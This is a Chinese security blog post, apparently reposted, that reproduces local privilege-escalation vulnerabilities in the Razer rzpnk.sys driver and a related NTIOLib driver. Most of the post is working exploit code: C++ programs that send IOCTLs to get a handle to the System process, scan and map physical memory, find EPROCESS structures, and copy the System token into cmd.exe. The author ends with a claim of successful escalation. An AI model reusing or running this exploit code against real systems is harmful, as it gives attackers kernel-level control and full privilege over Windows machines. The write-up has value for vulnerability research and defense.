RZPNK.sys漏洞复现

admin 2025年5月7日22:47:31RZPNK.sys漏洞复现已关闭评论5 views字数 13081阅读43分36秒阅读模式



~~漏洞样本文件~~

参考

分析majorfunction中的create函数可知打开rzpnk.sys驱动的设备的进程名需要是razeringameengine.exe或者rzdriverinstaller.exe

create dispatch:

DriverObject->MajorFunction[0]=(PDRIVER_DISPATCH)sub_1CC10;

sub_1CC10间接调用到函数sub_10C40,在该函数中检查进程名

RZPNK.sys漏洞复现

满足这个条件后,随便一个普通用户就可以以READ|WRITE权限打开rzpnk的设备\\.\47CD78C9-64C3-47C2-B80F-677B887CF095

RZPNK.sys漏洞复现

然后我们通过IDA可以看到IoControl的派遣函数列表

DriverObject->MajorFunction[0xE]=(PDRIVER_DISPATCH)sub_12650

sub_12650函数会调用函数数组中的+14h,即sub_10B40函数

RZPNK.sys漏洞复现

靠,之前分析错驱动了

zwopenprocess

前面的当我没写

真正的漏洞驱动文件是这个

使用下面这个漏洞利用代码可以直接到达ZeOpenProcess函数,获取任意进程的句柄

#include<windows.h>
#include<iostream>

intmain(){
printf("0x%x\n",GetCurrentProcessId());
system("pause");
// [Get Driver Handle]
HANDLEhDevice=CreateFileA(
"\\\\.\\47CD78C9-64C3-47C2-B80F-677B887CF095",
FILE_READ_ACCESS|FILE_WRITE_ACCESS,
FILE_SHARE_READ|FILE_SHARE_WRITE,
nullptr,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL|FILE_FLAG_OVERLAPPED,
nullptr
);

if(hDevice==INVALID_HANDLE_VALUE){
std::cout<<"\n[!] Unable to get driver handle..\n";
printf("error code: 0x%x\n",GetLastError());
return1;
}
else{
std::cout<<"\n[>] Driver access OK..\n";
std::cout<<"[+] lpFileName: \\\\.\\47CD78C9-64C3-47C2-B80F-677B887CF095 => rzpnk\n";
std::cout<<"[+] Handle: "<<hDevice<<"\n";
}

// [Prepare buffer & Send IOCTL]

// Input buffer (PID 4 + 0)
unsignedcharInBuffer[16]={0};
*(reinterpret_cast<INT64*>(&InBuffer[0]))=0x4;// PID 4 = System
*(reinterpret_cast<INT64*>(&InBuffer[8]))=0x0;// 0x0

// Output buffer 1KB
LPVOIDOutBuffer=VirtualAlloc(
nullptr,
1024,
MEM_COMMIT|MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);

if(!OutBuffer){
std::cout<<"\n[!] Failed to allocate output buffer.\n";
CloseHandle(hDevice);
return1;
}

// Ptr receiving output byte count
DWORDBytesReturned=0;

// 0x22a050 - ZwOpenProcess
BOOLCallResult=DeviceIoControl(
hDevice,
0x22a050,
InBuffer,
sizeof(InBuffer),
OutBuffer,
1024,
&BytesReturned,
nullptr
);

if(!CallResult){
std::cout<<"\n[!] DeviceIoControl failed..\n";
VirtualFree(OutBuffer,0,MEM_RELEASE);
CloseHandle(hDevice);
return1;
}

// [Read out the result buffer]
std::cout<<"\n[>] Call result:\n";
std::cout<<std::hex<<std::uppercase
<<*(reinterpret_cast<INT64*>(OutBuffer))<<"\n";
std::cout<<std::hex<<std::uppercase
<<*(reinterpret_cast<INT64*>((reinterpret_cast<BYTE*>(OutBuffer))+8))<<"\n";

// Cleanup
VirtualFree(OutBuffer,0,MEM_RELEASE);
CloseHandle(hDevice);

return0;
}

这内核代码写的是真傻逼

RZPNK.sys漏洞复现

RZPNK.sys漏洞复现

RZPNK.sys漏洞复现

如何进一步利用这个漏洞

参考

源代码

RZPNK.sys漏洞复现

另一个洞

这个驱动好像还有一个洞,在ZwMapViewOfSection函数上面,不过看这个洞之前,需要先看一下这篇文章

这篇文章中提到的漏洞驱动文件

RZPNK.sys漏洞复现

RZPNK.sys漏洞复现

如上图所示,可以直接使用控制码0xC3506104映射物理内存

要想利用这个来扫描内存中的EPROCESS结构体,需要先了解一些知识

参考

参考

windows内核中的对象的内存布局

RZPNK.sys漏洞复现

PoolHeader的结构

RZPNK.sys漏洞复现

那么我们扫描到Eprocess的内存Tag:Proc之后,-4就可以得到EPROCESS所在内存的起始位置

跳过PoolHeader和Object_header就可以得到EPROCESS的地址

OBJECT_HEADER->Body就是EPROCESS的内容

那么计算方式应该就是locatedAddr-4+sizeof(PoolHeader)+offset(body of object_header)就行了应该

kd> dt _object_header ffffe18d8544c0e0
nt!_OBJECT_HEADER
   +0x000 PointerCount     : 0n1
   +0x008 HandleCount      : 0n0
   +0x008 NextToFree       : (null) 
   +0x010 Lock             : _EX_PUSH_LOCK
   +0x018 TypeIndex        : 0xbc ''
   +0x019 TraceFlags       : 0 ''
   +0x019 DbgRefTrace      : 0y0
   +0x019 DbgTracePermanent : 0y0
   +0x01a InfoMask         : 0x4c 'L'
   +0x01b Flags            : 0x41 'A'
   +0x01b NewObject        : 0y1
   +0x01b KernelObject     : 0y0
   +0x01b KernelOnlyAccess : 0y0
   +0x01b ExclusiveObject  : 0y0
   +0x01b PermanentObject  : 0y0
   +0x01b DefaultSecurityQuota : 0y0
   +0x01b SingleHandleEntry : 0y1
   +0x01b DeletedInline    : 0y0
   +0x01c Reserved         : 0x273
   +0x020 ObjectCreateInfo : 0xffffe18d`81e76580 _OBJECT_CREATE_INFORMATION
   +0x020 QuotaBlockCharged : 0xffffe18d`81e76580 Void
   +0x028 SecurityDescriptor : (null) 
   +0x030 Body             : _QUAD
kd> !object ffffe18d`8544c110 
Object: ffffe18d8544c110  Type: (ffffe18d78ae1140) File
    ObjectHeader: ffffe18d8544c0e0 (new version)
    HandleCount: 0  PointerCount: 1
    Directory Object: 00000000  Name: \Windows\System32\wshbth.dll {HarddiskVolume3}
kd> dt _file_object ffffe18d`8544c110 
nt!_FILE_OBJECT
   +0x000 Type             : 0n5
   +0x002 Size             : 0n216
   +0x008 DeviceObject     : 0xffffe18d`798918f0 _DEVICE_OBJECT
   +0x010 Vpb              : 0xffffe18d`798d35b0 _VPB
   +0x018 FsContext        : (null) 
   +0x020 FsContext2       : (null) 
   +0x028 SectionObjectPointer : (null) 
   +0x030 PrivateCacheMap  : (null) 
   +0x038 FinalStatus      : 0n0
   +0x040 RelatedFileObject : (null) 
   +0x048 LockOperation    : 0 ''
   +0x049 DeletePending    : 0 ''
   +0x04a ReadAccess       : 0 ''
   +0x04b WriteAccess      : 0 ''
   +0x04c DeleteAccess     : 0 ''
   +0x04d SharedRead       : 0 ''
   +0x04e SharedWrite      : 0 ''
   +0x04f SharedDelete     : 0 ''
   +0x050 Flags            : 0x44040
   +0x058 FileName         : _UNICODE_STRING "\Windows\System32\wshbth.dll"
   +0x068 CurrentByteOffset : _LARGE_INTEGER 0x0
   +0x070 Waiters          : 0
   +0x074 Busy             : 0
   +0x078 LastLock         : (null) 
   +0x080 Lock             : _KEVENT
   +0x098 Event            : _KEVENT
   +0x0b0 CompletionContext : (null) 
   +0x0b8 IrpListLock      : 0
   +0x0c0 IrpList          : _LIST_ENTRY [ 0xffffe18d`8544c1d0 - 0xffffe18d`8544c1d0 ]
   +0x0d0 FileObjectExtension : (null) 

从这张图中可以看到,实际的EPROCESS距离POOL_HEADER的差值是0x70,而我们定位到的Proc tag和EPROCESS差值就是0x70-4->0x6C

RZPNK.sys漏洞复现

POOL_HEADER和OBJECT_HEADER之间存在OPTIONAL_HEADER,这个是可选的header,具体数量不确定,但是对于我们的EPROCESS对象,我们随便找一个进程看一下就可以确定一共有几个可选HEADER了,这个是由object_header的infomask决定的

RZPNK.sys漏洞复现

RZPNK.sys漏洞复现

0x88的话那就是两个可选header: OBJECT_HEADER_QUOTA_INFO和OBJECT_HEADER_PADDING_INFO

我又随便找了几个进程,infomask的值都是0x88,虽然这个地方的值都是0x88,但是有的差值是0x70,有的是0x80

System进程直接没有可选header,infomask的值直接就是0,差值是0x40,那我们就先定位System

然后再定位一个cmd(差值0x80),然后把system的token写入到cmd中

写入内存

前面我们提到可以使用iocode 0xC3506104来读取物理内存,当需要写入的时候我们需要使用另一个iocode 0xC350A108

RZPNK.sys漏洞复现

RZPNK.sys漏洞复现

从上图中可以看到是往映射出来的内存中写入数据

inBuffer的0x10保存原始内存起始地址,0xc保存size,0保存目的物理地址

这个傻逼洞好像根本就没有办法利用,mmmapiospace总是崩溃,或者是返回0,根本就没办法用

这个玩意儿根本就没有办法稳定利用,因为调用mmmapiospace之前需要先锁内存页

参考

不管怎么样,我把搜索EPROCESS的代码放在这里了:

#include<windows.h>
#include<comdef.h>
#include<Wbemidl.h>
#include<iostream>
#include<unordered_map>
#include<algorithm>
#include<cstdio>
#include<cstdlib>
#include<cstdint>
#pragma comment(lib, "wbemuuid.lib")
// #define EPROCESS_IAMGE_NAME_OFFSET 0x5A8
#define SYSTEM_IMAGE_NAME_OFFSET 0x5E4 // 0x3C+0x5A8
#define CMD_IMAGE_NAME_OFFSET 0x624 // 0x7C+0x5A8
#define SYSTEM_TOKEN_OFFSET 0x4F4 // 0x3C+0x4B8
#define CMD_TOKNE_OFFSET 0x534 // 0x7C+0x4B8
#define SYSTEM_IMAGE_NAME "SYSTEM"
#define CMD_IMAGE_NAME "cmd.exe"
#define STEP 0x1000
#ifndef max
#define max(a,b)            (((a) > (b)) ? (a) : (b))
#endif
#define b8 DWORD64
#define b4 DWORD
#define b2 WORD
#define b1 UCHAR 
DWORD64q(PBYTEa1){return*(DWORD64*)(a1);}
DWORDd(PBYTEa1){return*(DWORD*)(a1);}
WORDw(PBYTEa1){return*(WORD*)(a1);}
UCHARb(PBYTEa1){return*(PBYTE)(a1);}
b1*GMemBuffer;
voidgetHardwareMappings(std::unordered_map<uint64_t,uint64_t>&hardwareMappings)
{
if(FAILED(CoInitializeEx(0,COINIT_MULTITHREADED)))
{
return;
}

if(FAILED(CoInitializeSecurity(NULL,-1,NULL,NULL,RPC_C_AUTHN_LEVEL_DEFAULT,RPC_C_IMP_LEVEL_IMPERSONATE,NULL,EOAC_NONE,NULL)))
{
CoUninitialize();
return;
}

IWbemLocator*pLoc=NULL;
if(FAILED(CoCreateInstance(CLSID_WbemLocator,0,CLSCTX_INPROC_SERVER,IID_IWbemLocator,(LPVOID*)&pLoc)))
{
CoUninitialize();
return;
}

IWbemServices*pSvc=NULL;
if(FAILED(pLoc->ConnectServer(_bstr_t(L"ROOT\\CIMV2"),NULL,NULL,0,NULL,0,0,&pSvc)))
{
pLoc->Release();
CoUninitialize();
return;
}

if(FAILED(CoSetProxyBlanket(pSvc,RPC_C_AUTHN_WINNT,RPC_C_AUTHZ_NONE,NULL,RPC_C_AUTHN_LEVEL_CALL,RPC_C_IMP_LEVEL_IMPERSONATE,NULL,EOAC_NONE)))
{
pSvc->Release();
pLoc->Release();
CoUninitialize();
return;
}

IEnumWbemClassObject*pEnumerator=NULL;
if(FAILED(pSvc->ExecQuery(bstr_t("WQL"),bstr_t("SELECT * FROM Win32_DeviceMemoryAddress"),WBEM_FLAG_FORWARD_ONLY|WBEM_FLAG_RETURN_IMMEDIATELY,NULL,&pEnumerator)))
{
pSvc->Release();
pLoc->Release();
CoUninitialize();
return;
}

std::vector<std::pair<uint64_t,uint64_t>>ranges;
IWbemClassObject*pclsObj=NULL;
ULONGuReturn=0;
while(pEnumerator)
{
HRESULThr=pEnumerator->Next(WBEM_INFINITE,1,&pclsObj,&uReturn);
if(0==uReturn)
{
break;
}

VARIANTvtProp;
pclsObj->Get(L"StartingAddress",0,&vtProp,0,0);
uint64_tstartAddr=0;
swscanf_s(vtProp.bstrVal,L"%lld",&startAddr);
VariantClear(&vtProp);

pclsObj->Get(L"EndingAddress",0,&vtProp,0,0);
uint64_tendAddr=0;
swscanf_s(vtProp.bstrVal,L"%lld",&endAddr);
VariantClear(&vtProp);

pclsObj->Release();
ranges.push_back(std::pair<uint64_t,uint64_t>(startAddr,endAddr+1));
//printf("%0I64X %0I64X\n", startAddr, endAddr);
}
//insert dummy range <0xF0000000, 0xFFFFFFFF>
ranges.push_back(std::pair<uint64_t,uint64_t>(0xF0000000LL,0x100000000LL));

std::sort(ranges.begin(),ranges.end());
autoit=ranges.begin();
std::pair<uint64_t,uint64_t>current=*(it)++;
while(it!=ranges.end())
{
if(current.second>=it->first)
{
current.second=max(current.second,it->second);
}
else
{
hardwareMappings[current.first]=current.second-current.first;
current=*(it);
}
it++;
}
hardwareMappings[current.first]=current.second-current.first;

pSvc->Release();
pLoc->Release();
pEnumerator->Release();
CoUninitialize();
}
boolwritePhMem(HANDLEhDevice,b8destPhAddr,b8b8Value);
HANDLEgetDriverHandle();
b8elevatePriv(HANDLEhDev,std::unordered_map<uint64_t,uint64_t>hwHole);

boolmapPhMem(HANDLEhDevice,b8phStart,b4size);
intmain(){
HANDLEhDevice=getDriverHandle();
// Output buffer 1KB
LPVOIDOutBuffer=VirtualAlloc(
nullptr,
STEP,
MEM_COMMIT|MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);

if(!OutBuffer){
std::cout<<"\n[!] Failed to allocate output buffer.\n";
CloseHandle(hDevice);

}
GMemBuffer=(b1*)OutBuffer;

std::unordered_map<uint64_t,uint64_t>mapping;
// 枚举出来所有的设备内存范围,不然读取到这些内存地址会直接导致蓝屏
getHardwareMappings(mapping);
for(constauto&pair:mapping){
printf("0x%p -> 0x%p\n\n",pair.first,pair.second);
}
system("pause");
// 然后就可以和驱动交互来读写内存了
printf("trying to elvate my privilege\n");
elevatePriv(hDevice,mapping);
return0;
}
b8elevatePriv(HANDLEhDev,std::unordered_map<uint64_t,uint64_t>hwHole){

b8systemToken=0;
b8cmdTokenPhAddr=0;
// 基本思想就是扫描整块物理内存,来定位系统进程的EPROCESS
// 但是我们要调过硬件内存区域
b8phMemSize;
// 获取系统上安装的物理内存的大小 单位是kb 1024bytes
GetPhysicallyInstalledSystemMemory(&phMemSize);
// 那么物理内存地址的最大值应该是
// 每次读取一个内存页 4kb
b4step=STEP;
for(b8i=0;i<phMemSize*1024;i+=step){
// 跳过硬件范围
autoit=hwHole.find(i);
if(it!=hwHole.end())
i+=it->second;
if(!mapPhMem(hDev,i,step)){
printf("read physical mem failed\n");
continue;
}
printf("start addr: 0x%p\n",i);
// 读取内存
// GMemBuffer
// 这里涉及了一些关于windows内存的知识
printf("mem succeed\n");
// EPROCESS所在的内存中有一个tag,就是Proc,翻译成b4就是    636F7250
for(b4j=0;j<STEP-4;j++){
// 这里需要注意,如果j+4已经超过了0x1000,就要终止循环了
if(*(b4*)(GMemBuffer+j)==0x636F7250){
printf("located eprocess mem region\n");

if(!strcmp((char*)(GMemBuffer+j+SYSTEM_IMAGE_NAME_OFFSET),SYSTEM_IMAGE_NAME)){
systemToken=*(b8*)(GMemBuffer+j+SYSTEM_TOKEN_OFFSET);
printf("system token get: 0x%p\n",systemToken);
if(cmdTokenPhAddr)
gotoEND;
}
elseif(!strcmp((char*)(GMemBuffer+j+CMD_IMAGE_NAME_OFFSET),CMD_IMAGE_NAME)){
// 记住物理内存地址
cmdTokenPhAddr=i;
printf("cmd.exe token physical address get: 0x%p\n",i);
if(systemToken)
gotoEND;
}
}
}
}
END:
// TODO
// 这里需要进行写入
writePhMem(hDev,cmdTokenPhAddr,systemToken);
return0;
}
boolwritePhMem(HANDLEhDevice,b8destPhAddr,b8b8Value){
unsignedcharInBuffer[0x18]={0};
*(reinterpret_cast<INT64*>(&InBuffer[0]))=destPhAddr;
*(reinterpret_cast<INT64*>(&InBuffer[0x10]))=destPhAddr;
*(reinterpret_cast<INT64*>(&InBuffer[0xc]))=8;



// Ptr receiving output byte count
DWORDBytesReturned=0;


BOOLCallResult=DeviceIoControl(
hDevice,
0xC3506104,
InBuffer,
sizeof(InBuffer),
GMemBuffer,// outbuffer随便填,因为根本就用不到
8,
&BytesReturned,
nullptr
);

if(!CallResult){
std::cout<<"\n[!] DeviceIoControl failed..\n";
printf("error code: 0x%x\n",GetLastError());
return0;
CloseHandle(hDevice);

}
return1;
}
HANDLEgetDriverHandle(){
HANDLEhDevice=CreateFileA(
"\\\\.\\NTIOLib_ACTIVE_X",
FILE_READ_ACCESS|FILE_WRITE_ACCESS,
FILE_SHARE_READ|FILE_SHARE_WRITE,
nullptr,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL|FILE_FLAG_OVERLAPPED,
nullptr
);

if(hDevice==INVALID_HANDLE_VALUE){
std::cout<<"\n[!] Unable to get driver handle..\n";
printf("error code: 0x%x\n",GetLastError());
return0;
}
else{
std::cout<<"\n[>] Driver access OK..\n";
std::cout<<"[+] lpFileName: \\\\.\\NTIOLib_ACTIVE_X => ntiolib_x64\n";
std::cout<<"[+] Handle: "<<hDevice<<"\n";
}
returnhDevice;
}
boolmapPhMem(HANDLEhDevice,b8phStart,b4size){
unsignedcharInBuffer[0x10]={0};
// inBuffer的0x8存一个b4,值为1,指示驱动将映射出来的物理内存拷贝到我们传过去的buffer中
// outBuffer将存储映射出来的物理内存
// inBuffer的0xC存一个b4作为要映射的size
// inBuffer的0存一个b8,作为物理内存的开始地址
*(reinterpret_cast<INT64*>(&InBuffer[0]))=phStart;
*(reinterpret_cast<INT64*>(&InBuffer[8]))=1;
*(reinterpret_cast<INT64*>(&InBuffer[0xc]))=size;



// Ptr receiving output byte count
DWORDBytesReturned=0;


BOOLCallResult=DeviceIoControl(
hDevice,
0xC3506104,
InBuffer,
sizeof(InBuffer),
GMemBuffer,
size,
&BytesReturned,
nullptr
);

if(!CallResult){
std::cout<<"\n[!] DeviceIoControl failed..\n";
printf("error code: 0x%x\n",GetLastError());
return0;
CloseHandle(hDevice);

}
printf("bytes count read out: 0x%x\n",BytesReturned);
return1;
}

虽然没有办法稳定利用MmMapIoSpace ,但是我们可以稳定利用ZwMapViewOfSection

rzpnk.sys的iocode 22a064可以到达zwmapviewofsection函数,并可以直接控制handle参数,映射结果会返回给outbuffer

sub_17840

ZwMapViewOfSection(a3, ProcessHandle, BaseAddress, 0i64, a4, 0i64, (PSIZE_T)v11, ViewUnmap, 0, 0x40u);

其中a3为inbuffer的0x10(section handler),a4为inbuffer的0x20(CommitSize)

也就是说我们可以控制ZwMapViewOfSection函数的handler参数和commit size参数,以及第7个参数ViewSize,由我们的a4控制,也就是可以控制实际上要映射多大的内存出来,我们直接指定a4为0即可映射整个section

RZPNK.sys漏洞复现

映射结果baseaddress作为caller的第五个参数直接写回到outbuffer的0x18

RZPNK.sys漏洞复现

那么我们现在只需要获取到位于pid 4即system进程的physicalmemory section的句柄值即可

我们先使用老版本的processhacker(密码是1)看一下这个section的句柄值

RZPNK.sys漏洞复现

0x550和0x574都是可以的,当然在实际的利用环境中我们是没有办法提前知道这个section的handle value的,这里只是为了获取当前操作系统版本的section类型的index值

使用这个代码,输出如下:

RZPNK.sys漏洞复现

好了,我们现在知道section类型的index值是42了

但是还有一个问题,就是system进程中有很多section,我们用户模式下是无法知道每个handle对应的名称的,但是通过我的观察,\Device\PhysicalMemory的handle值是比较靠前的,如果将所有的section handle按照升序排列,那么在前十个里面肯定可以找到\Device\PhysicalMemory

那么我们来试着写一下代码

我们好像不能把ViewSize指定为0,因为我们没有办法接收返回参数,我们只能传入,无法获取传出的值

那么我们只能把a4写成当前机器的物理内存大小了,但是我们只能使用dword来指定,dword最大只能描述4GB的内存,如果机器超过4gb的物理内存就不行了,我想到一个办法,那就是先指定物理内存大小,如果超过4GB就指定4gb,然后使用前10个handle value进行调用,如果不是\Device\PhysicalMemory应该会返回STATUS_INVALID_VIEW_SIZE 0xC000001F(存储在outbuffer的0x28),我先来测试一下

inbuffer和outbuffer的size要超过0x30

RZPNK.sys漏洞复现

验证成功: 代码

RZPNK.sys漏洞复现

这样我们就获得了\Device\PhysicalMemory的句柄值,我们使用这个句柄值重新映射,这次传入viewsize为0

我靠,我指定0,他说我内存不够,错误代码c0000017,那算了,我还是直接指定实际的内存值吧

定位到cmd.exe的eprocess

RZPNK.sys漏洞复现

演示视频

代码

演示视频中可以看到最后cmd进程的token和system的token值并不是完全一样的,这个我也不太清楚是为啥

反正可以正常提权就行

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月7日22:47:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   RZPNK.sys漏洞复现http://cn-sec.com/archives/4038608.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.